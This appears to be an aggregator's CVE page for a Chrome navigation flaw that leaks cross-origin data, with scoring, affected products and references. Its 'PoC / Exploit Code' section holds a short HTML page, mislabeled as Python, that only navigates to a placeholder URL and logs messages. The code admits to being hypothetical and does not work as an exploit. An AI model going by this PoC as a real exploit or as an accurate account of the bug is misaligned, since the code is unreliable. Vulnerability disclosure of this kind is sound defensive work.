CVE-2026-5918

Description

Inappropriate implementation in Navigation in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5918
Conceptual demonstration of cross-origin data leak via crafted navigation.
Requires running in a compromised renderer process context.
-->
<html>
<head>
    <title>CVE-2026-5918 Navigation Leak PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger the inappropriate navigation implementation
        // to leak data from another origin.
        
        function exploit() {
            var targetUrl = "https://target-site.com/private/data.json";
            
            // Craft a navigation request that triggers the bug
            // In a real exploit, this would bypass SOP checks due to the vulnerability.
            window.location = targetUrl;

            // Hypothetical listener to capture data that should be opaque
            window.addEventListener('message', function(event) {
                console.log("[+] Leaked Data: " + event.data);
            });
        }

        // Trigger the exploit sequence
        setTimeout(exploit, 1000);
    </script>
    <h1>Checking navigation behavior...</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5918/
[4] VulDB https://vuldb.com/cve/CVE-2026-5918
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/490139441

Raw JSON Data

JSON

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